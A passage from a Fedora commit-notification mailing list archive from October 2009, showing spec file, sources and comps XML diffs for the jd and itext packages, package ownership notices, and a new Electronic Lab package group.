-* Tue Aug 18 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3047
+* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3111
+
+* Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
+- 2.4.2
+
+* Mon Sep 21 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-0.5.rc090921
+- 2.4.2 rc 090921
+
+* Mon Sep 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-0.4.beta090914
+- 2.4.2 beta 090914
 
 * Thu Aug  6 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-0.3.beta090806
-- 2.4.1 beta 090806
+- 2.4.2 beta 090806
 
 * Sun Jul 12 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.1-1
 - 2.4.1


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.389
retrieving revision 1.390
diff -u -p -r1.389 -r1.390
--- sources	17 Aug 2009 17:02:11 -0000	1.389
+++ sources	3 Oct 2009 18:35:23 -0000	1.390
@@ -1 +1 @@
-918d0c72ae87b6ea75cb91de29b0404e  jd-2.4.2-svn3047_trunk.tgz
+0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz



From pkgdb at fedoraproject.org  Sat Oct  3 18:41:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:41:27 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003184127.4BD5210F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 10 is now owned by pbrobinson

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:41:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:41:30 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003184130.34B4010F86A@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 11 is now owned by pbrobinson

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:41:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:41:34 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003184134.963B710F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 12 is now owned by pbrobinson

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From oget at fedoraproject.org  Sat Oct  3 18:46:17 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat,  3 Oct 2009 18:46:17 +0000 (UTC)
Subject: rpms/itext/F-12 itext.spec,1.25,1.26
Message-ID: <20091003184617.1B47111C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/itext/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22533

Modified Files:
	itext.spec 
Log Message:
* Sat Oct 03 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-6
- Bump release



Index: itext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/itext/F-12/itext.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- itext.spec	3 Oct 2009 18:44:28 -0000	1.25
+++ itext.spec	3 Oct 2009 18:46:16 -0000	1.26
@@ -4,7 +4,7 @@
 Summary:          A Free Java-PDF library
 Name:             itext
 Version:          2.1.7
-Release:          5%{?dist}
+Release:          6%{?dist}
 License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and LGPLv2+
 URL:              http://www.lowagie.com/iText/
 Group:            Development/Libraries
@@ -314,6 +314,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 # -----------------------------------------------------------------------------
 
 %changelog
+* Sat Oct 03 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-6
+- Bump release
+
 * Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
 - Separate rtf, rups and toolbox packages
 - Reduce dependencies of the main package (RHBZ#524066)



From mtasaka at fedoraproject.org  Sat Oct  3 18:47:56 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat,  3 Oct 2009 18:47:56 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.405, 1.406 jd.spec, 1.466, 1.467 sources,
	1.406, 1.407
Message-ID: <20091003184756.EE5EF11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23178/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3111



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.405
retrieving revision 1.406
diff -u -p -r1.405 -r1.406
--- .cvsignore	27 Sep 2009 14:38:01 -0000	1.405
+++ .cvsignore	3 Oct 2009 18:47:56 -0000	1.406
@@ -1 +1 @@
-jd-2.4.2-090927.tgz
+jd-2.5.0-svn3111_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.466
retrieving revision 1.467
diff -u -p -r1.466 -r1.467
--- jd.spec	27 Sep 2009 14:38:01 -0000	1.466
+++ jd.spec	3 Oct 2009 18:47:56 -0000	1.467
@@ -9,11 +9,11 @@
 ##########################################
 # Defined by upsteam
 #
-%define         main_ver      2.4.2
-%define         strtag        090927
+%define         main_ver      2.5.0
+%define         strtag        svn3111_trunk
 %define         repoid        43788
 # Define this if this is pre-version
-%define         pre_release   0
+%define         pre_release   1
 ##########################################
 
 ##########################################
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
+* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3111
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.406
retrieving revision 1.407
diff -u -p -r1.406 -r1.407
--- sources	27 Sep 2009 14:38:01 -0000	1.406
+++ sources	3 Oct 2009 18:47:56 -0000	1.407
@@ -1 +1 @@
-7ec83cf1b1ed910293953e4c0fc29a6e  jd-2.4.2-090927.tgz
+0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz



From mtasaka at fedoraproject.org  Sat Oct  3 18:47:57 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat,  3 Oct 2009 18:47:57 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.399, 1.400 jd.spec, 1.462, 1.463 sources,
	1.400, 1.401
Message-ID: <20091003184757.43FC211C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23178/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3111



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.399
retrieving revision 1.400
diff -u -p -r1.399 -r1.400
--- .cvsignore	27 Sep 2009 14:38:02 -0000	1.399
+++ .cvsignore	3 Oct 2009 18:47:57 -0000	1.400
@@ -1 +1 @@
-jd-2.4.2-090927.tgz
+jd-2.5.0-svn3111_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.462
retrieving revision 1.463
diff -u -p -r1.462 -r1.463
--- jd.spec	27 Sep 2009 14:38:03 -0000	1.462
+++ jd.spec	3 Oct 2009 18:47:57 -0000	1.463
@@ -9,11 +9,11 @@
 ##########################################
 # Defined by upsteam
 #
-%define         main_ver      2.4.2
-%define         strtag        090927
+%define         main_ver      2.5.0
+%define         strtag        svn3111_trunk
 %define         repoid        43788
 # Define this if this is pre-version
-%define         pre_release   0
+%define         pre_release   1
 ##########################################
 
 ##########################################
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
+* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3111
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.400
retrieving revision 1.401
diff -u -p -r1.400 -r1.401
--- sources	27 Sep 2009 14:38:03 -0000	1.400
+++ sources	3 Oct 2009 18:47:57 -0000	1.401
@@ -1 +1 @@
-7ec83cf1b1ed910293953e4c0fc29a6e  jd-2.4.2-090927.tgz
+0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz



From pkgdb at fedoraproject.org  Sat Oct  3 18:41:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:41:16 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003184116.AF47910F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora devel is now owned by pbrobinson

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From oget at fedoraproject.org  Sat Oct  3 18:47:31 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat,  3 Oct 2009 18:47:31 +0000 (UTC)
Subject: rpms/itext/devel itext.spec,1.25,1.26
Message-ID: <20091003184731.E641E11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/itext/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23016

Modified Files:
	itext.spec 
Log Message:
* Sat Oct 03 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-6
- Bump release



Index: itext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/itext/devel/itext.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- itext.spec	2 Oct 2009 06:35:53 -0000	1.25
+++ itext.spec	3 Oct 2009 18:47:31 -0000	1.26
@@ -4,7 +4,7 @@
 Summary:          A Free Java-PDF library
 Name:             itext
 Version:          2.1.7
-Release:          5%{?dist}
+Release:          6%{?dist}
 License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and LGPLv2+
 URL:              http://www.lowagie.com/iText/
 Group:            Development/Libraries
@@ -314,6 +314,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 # -----------------------------------------------------------------------------
 
 %changelog
+* Sat Oct 03 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-6
+- Bump release
+
 * Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
 - Separate rtf, rups and toolbox packages
 - Reduce dependencies of the main package (RHBZ#524066)



From mtasaka at fedoraproject.org  Sat Oct  3 18:47:57 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat,  3 Oct 2009 18:47:57 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.399, 1.400 jd.spec, 1.463, 1.464 sources,
	1.400, 1.401
Message-ID: <20091003184757.7940311C0296@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23178/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3111



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.399
retrieving revision 1.400
diff -u -p -r1.399 -r1.400
--- .cvsignore	27 Sep 2009 14:38:03 -0000	1.399
+++ .cvsignore	3 Oct 2009 18:47:57 -0000	1.400
@@ -1 +1 @@
-jd-2.4.2-090927.tgz
+jd-2.5.0-svn3111_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.463
retrieving revision 1.464
diff -u -p -r1.463 -r1.464
--- jd.spec	27 Sep 2009 14:38:03 -0000	1.463
+++ jd.spec	3 Oct 2009 18:47:57 -0000	1.464
@@ -9,11 +9,11 @@
 ##########################################
 # Defined by upsteam
 #
-%define         main_ver      2.4.2
-%define         strtag        090927
+%define         main_ver      2.5.0
+%define         strtag        svn3111_trunk
 %define         repoid        43788
 # Define this if this is pre-version
-%define         pre_release   0
+%define         pre_release   1
 ##########################################
 
 ##########################################
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
+* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3111
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.400
retrieving revision 1.401
diff -u -p -r1.400 -r1.401
--- sources	27 Sep 2009 14:38:03 -0000	1.400
+++ sources	3 Oct 2009 18:47:57 -0000	1.401
@@ -1 +1 @@
-7ec83cf1b1ed910293953e4c0fc29a6e  jd-2.4.2-090927.tgz
+0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz



From oget at fedoraproject.org  Sat Oct  3 18:44:28 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat,  3 Oct 2009 18:44:28 +0000 (UTC)
Subject: rpms/itext/F-12 itext-rups.desktop, NONE, 1.1 itext-rups.sh, NONE, 
	1.1 itext-toolbox.desktop, NONE, 1.1 itext-toolbox.sh, NONE,
	1.1 itext.spec, 1.24, 1.25
Message-ID: <20091003184428.5DF3D11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/itext/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21944

Modified Files:
	itext.spec 
Added Files:
	itext-rups.desktop itext-rups.sh itext-toolbox.desktop 
	itext-toolbox.sh 
Log Message:
* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
- Separate rtf, rups and toolbox packages
- Reduce dependencies of the main package (RHBZ#524066)



--- NEW FILE itext-rups.desktop ---
[Desktop Entry]
Name=iText RUPS
GenericName=Reading/Updating PDF Syntax
Comment=a GUI application that allows you to look inside a PDF
Exec=itext-rups
Icon=itext-rups
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-rups.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-rups.jar:${DATADIR}/dom4j.jar:${DATADIR}/pdf-renderer.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.rups.Rups"

run


--- NEW FILE itext-toolbox.desktop ---
[Desktop Entry]
Name=iText Toolbox
GenericName=PDF Utility
Comment=A utility that allows to use a number of iText tools
Exec=itext-toolbox
Icon=itext-toolbox
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-toolbox.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-toolbox.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.toolbox.Toolbox"

run


Index: itext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/itext/F-12/itext.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- itext.spec	28 Aug 2009 20:32:29 -0000	1.24
+++ itext.spec	3 Oct 2009 18:44:28 -0000	1.25
@@ -4,12 +4,16 @@
 Summary:          A Free Java-PDF library
 Name:             itext
 Version:          2.1.7
-Release:          4%{?dist}
-License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and MIT and LGPLv2+ and CC-BY
+Release:          5%{?dist}
+License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and LGPLv2+
 URL:              http://www.lowagie.com/iText/
 Group:            Development/Libraries
 Source0:          http://downloads.sourceforge.net/itext/iText-src-%{version}.tar.gz
 Source2:          http://repo2.maven.org/maven2/com/lowagie/itext/%{version}/itext-%{version}.pom
+Source3:          itext-rups.sh
+Source4:          itext-rups.desktop
+Source5:          itext-toolbox.sh
+Source6:          itext-toolbox.desktop
 Patch1:           itext-2.1.5-pdftk.patch
 
 # The iText POM specifies that it requires bouncycastle's "jdk14" JARs
@@ -40,9 +44,11 @@ Patch3:           itext-xmloutput.patch
 
 BuildRequires:    ant
 BuildRequires:    bouncycastle-tsp
+BuildRequires:    desktop-file-utils
 BuildRequires:    dom4j
+BuildRequires:    ImageMagick
 BuildRequires:    pdf-renderer
-BuildRequires:    java-devel >= 1.5
+BuildRequires:    java-devel >= 1.7
 BuildRequires:    jpackage-utils
 %if %{with_gcj}
 BuildRequires:    java-gcj-compat-devel
@@ -54,12 +60,10 @@ BuildArch:        noarch
 %endif
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:         bouncycastle-tsp
-Requires:         dom4j
 Requires:         java >= 1.5
 Requires:         jpackage-utils >= 1.5
 Requires(post):   jpackage-utils >= 1.7
 Requires(postun): jpackage-utils >= 1.7
-Requires:         pdf-renderer
 Provides:         %{alternate_name} == %{version}-%{release}
 
 %description
@@ -70,6 +74,49 @@ especially useful in combination with Ja
 look and feel of HTML is browser dependent; with iText and PDF you can control
 exactly how your servlet's output will look.
 
+
+%package rtf
+Summary:        Library to output Rich Text Files
+Group:          Development/Libraries
+License:        MPLv1.1 or LGPLv2+
+Requires:       %{name} = %{version}-%{release}
+
+%description rtf
+The RTF package is an extension of the iText library and allows iText to output
+Rich Text Files in additon to PDF files. These files can then be viewed and
+edited with RTF viewers such as OpenOffice.org Writer.
+
+
+%package rups
+Summary:        Reading/Updating PDF Syntax
+Group:          Applications/Productivity
+License:        LGPLv2+ and CC-BY
+Requires:       %{name} = %{version}-%{release}
+Requires:       dom4j
+Requires:       pdf-renderer
+
+%description rups
+iText RUPS is a tool that combines SUN's PDF Renderer (to view PDF documents),
+iText's PdfReader (to inspect the internal structure of a PDF file), and
+iText's PdfStamper to manipulate a PDF file.
+
+
+%package toolbox
+Summary:        Some %{alternate_name} tools
+Group:          Applications/Productivity
+License:        MPLv1.1 or MIT
+Requires:       %{name} = %{version}-%{release}
+Requires:       java >= 1.5
+
+
+%description toolbox
+iText is a free open source Java-PDF library released on SF under the MPL/LGPL;
+iText comes with a simple GUI: the iText toolbox. The original developers of
+iText want to publish this toolbox as a separate project under the more
+permissive MIT license. This is a utility that allows you to use a number of
+iText tools. 
+
+
 %package javadoc
 Summary:        Javadoc for %{alternate_name}
 Group:          Documentation
@@ -79,6 +126,7 @@ Requires:       jpackage-utils
 %description javadoc
 API documentation for the %{alternate_name} package.
 
+
 %prep
 %setup -q -c -T -a 0
 %patch1 -p1 -b .pdftk
@@ -95,7 +143,7 @@ touch -r src/rups/com/lowagie/rups/view/
 mv -f tmpfile src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
 
 mkdir lib
-build-jar-repository -s -p lib bcprov bcmail pdf-renderer dom4j
+build-jar-repository -s -p lib bcprov bcmail bctsp pdf-renderer dom4j
 
 # Remove jdk & version numbers from classpath entries
 for file in src/ant/{*,.ant*}; do
@@ -114,7 +162,7 @@ sed -i 's|debug="true"||g' src/ant/compi
 %build
 export CLASSPATH=$(build-classpath bcprov bcmail bctsp pdf-renderer dom4j)
 pushd src
-ant jar javadoc
+ant jar jar.rups jar.rtf jar.toolbox javadoc
 popd
 
 %install
@@ -124,9 +172,37 @@ rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_javadir}
 cp -p lib/iText.jar \
       $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
+cp -p lib/iText-rtf.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rtf-%{version}.jar
+cp -p lib/iText-rups.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-rups-%{version}.jar
+cp -p lib/iText-toolbox.jar \
+      $RPM_BUILD_ROOT%{_javadir}/%{name}-toolbox-%{version}.jar
 (cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}.jar; do \
       ln -sf ${jar} `echo $jar| sed "s|-%{version}||g"`; done)
 
+mkdir -p $RPM_BUILD_ROOT%{_bindir}
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/applications
+# rups stuff
+install -pm 755 %{SOURCE3} $RPM_BUILD_ROOT%{_bindir}/%{name}-rups
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE4}
+
+# toolbox stuff
+install -pm 755 %{SOURCE5} $RPM_BUILD_ROOT%{_bindir}/%{name}-toolbox
+desktop-file-install \
+      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
+      %{SOURCE6}
+
+# icon for rups and toolbox
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps
+convert -resize 128x128 src/toolbox/com/lowagie/toolbox/1t3xt.gif %{name}.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+cp -a %{name}.png \
+      $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
+
 %if %{with_gcj}
  RPM_OPT_FLAGS="$RPM_OPT_FLAGS -fno-indirect-classes" %{_bindir}/aot-compile-rpm
 %endif
@@ -162,16 +238,73 @@ if [ -x %{_bindir}/rebuild-gcj-db ]
  fi
 %endif
 
+%post rups
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun rups
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans rups
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+%post toolbox
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
+
+%postun toolbox
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans toolbox
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 
 %files
 %defattr(-,root,root,-)
 %doc build/bin/com/lowagie/text/{apache_license,lgpl,misc_licenses,MPL-1.1}.txt
-%doc src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
-%{_javadir}/*
+%{_javadir}/%{name}.jar
+%{_javadir}/%{name}-%{version}.jar
 %{_mavenpomdir}/JPP-itext.pom
 %{_mavendepmapfragdir}/%{name}
 %if %{with_gcj}
-%{_libdir}/gcj/%{name}
+%dir %{_libdir}/gcj/%{name}
+%{_libdir}/gcj/%{name}/%{name}-%{version}.*
+%endif
+
+%files rtf
+%defattr(-,root,root,-)
+%{_javadir}/%{name}-rtf.jar
+%{_javadir}/%{name}-rtf-%{version}.jar
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rtf-%{version}.*
+%endif
+
+%files rups
+%defattr(-,root,root,-)
+%doc src/rups/com/lowagie/rups/view/icons/copyright_notice.txt
+%{_javadir}/%{name}-rups.jar
+%{_javadir}/%{name}-rups-%{version}.jar
+%{_bindir}/%{name}-rups
+%{_datadir}/applications/%{name}-rups.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-rups.png
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-rups-%{version}.*
+%endif
+
+%files toolbox
+%defattr(-,root,root,-)
+%doc src/toolbox/com/lowagie/toolbox/tools.txt
+%{_javadir}/%{name}-toolbox.jar
+%{_javadir}/%{name}-toolbox-%{version}.jar
+%{_bindir}/%{name}-toolbox
+%{_datadir}/applications/%{name}-toolbox.desktop
+%{_datadir}/icons/hicolor/128x128/apps/%{name}-toolbox.png
+%if %{with_gcj}
+%{_libdir}/gcj/%{name}/%{name}-toolbox-%{version}.*
 %endif
 
 %files javadoc
@@ -181,6 +314,10 @@ if [ -x %{_bindir}/rebuild-gcj-db ]
 # -----------------------------------------------------------------------------
 
 %changelog
+* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
+- Separate rtf, rups and toolbox packages
+- Reduce dependencies of the main package (RHBZ#524066)
+
 * Thu Aug 27 2009 Andrew Overholt <overholt at redhat.com> 2.1.7-4
 - Patch POM file due to explicit "jdk14" requirement on bouncycastle
 - Patch in XML output classes from earlier version (their license is



From chitlesh at fedoraproject.org  Sat Oct  3 19:44:54 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat,  3 Oct 2009 19:44:54 +0000 (UTC)
Subject: comps comps-el5.xml.in,1.28,1.29
Message-ID: <20091003194454.2293311C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11886

Modified Files:
	comps-el5.xml.in 
Log Message:
added electronic-lab group to EL-5 branch


Index: comps-el5.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-el5.xml.in,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- comps-el5.xml.in	19 Sep 2009 00:53:04 -0000	1.28
+++ comps-el5.xml.in	3 Oct 2009 19:44:53 -0000	1.29
@@ -146,6 +146,60 @@
     </packagelist>
   </group>
   <group>
+    <id>electronic-lab</id>
+    <_name>Electronic Lab</_name>
+    <_description>Design and Simulation tools for hardware engineers</_description>
+    <default>false</default>
+    <uservisible>true</uservisible>
+    <packagelist>
+      <packagereq type="default">alliance</packagereq>
+      <packagereq type="default">dfu-programmer</packagereq>
+      <packagereq type="default">dinotrace</packagereq>
+      <packagereq type="default">electric</packagereq>
+      <packagereq type="default">emacs-dinotrace</packagereq>
+      <packagereq type="default">emacs-verilog-mode</packagereq>
+      <packagereq type="default">emacs-vregs-mode</packagereq>
+      <packagereq type="default">eqntott</packagereq>
+      <packagereq type="default">espresso-ab</packagereq>
+      <packagereq type="default">fped</packagereq>
+      <packagereq type="default">geda-docs</packagereq>
+      <packagereq type="default">geda-examples</packagereq>
+      <packagereq type="default">geda-gattrib</packagereq>
+      <packagereq type="default">geda-gnetlist</packagereq>
+      <packagereq type="default">geda-gschem</packagereq>
+      <packagereq type="default">geda-gsymcheck</packagereq>
+      <packagereq type="default">geda-symbols</packagereq>
+      <packagereq type="default">geda-utils</packagereq>
+      <packagereq type="default">gerbv</packagereq>
+      <packagereq type="default">gnucap</packagereq>
+      <packagereq type="default">gplcver</packagereq>
+      <packagereq type="default">gtkwave</packagereq>
+      <packagereq type="default">irsim</packagereq>
+      <packagereq type="default">iverilog</packagereq>
+      <packagereq type="default">linsmith</packagereq>
+      <packagereq type="default">magic</packagereq>
+      <packagereq type="default">mcu8051ide</packagereq>
+      <packagereq type="default">netgen</packagereq>
+      <packagereq type="default">ngspice</packagereq>
+      <packagereq type="default">pcb</packagereq>
+      <packagereq type="default">perl-Hardware-Verilog-Parser</packagereq>
+      <packagereq type="default">perl-Hardware-Vhdl-Parser</packagereq>
+      <packagereq type="default">perl-ModelSim-List</packagereq>
+      <packagereq type="default">perl-Perlilog</packagereq>
+      <packagereq type="default">perl-SystemC-Vregs</packagereq>
+      <packagereq type="default">perl-SystemPerl</packagereq>
+      <packagereq type="default">perl-Verilog</packagereq>
+      <packagereq type="default">perl-Verilog-CodeGen</packagereq>
+      <packagereq type="default">perl-Verilog-Readmem</packagereq>
+      <packagereq type="default">qucs</packagereq>
+      <packagereq type="default">tkcvs</packagereq>
+      <packagereq type="default">tkgate</packagereq>
+      <packagereq type="default">toped</packagereq>
+      <packagereq type="default">vym</packagereq>
+      <packagereq type="default">xcircuit</packagereq>
+    </packagelist>
+  </group>
+  <group>
     <id>engineering-and-scientific</id>
     <_name>Engineering and Scientific</_name>
     <_description>This group includes packages for performing mathematical and scientific computations and plotting, as well as unit conversion.</_description>



From pkgdb at fedoraproject.org  Sat Oct  3 20:01:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 20:01:33 +0000
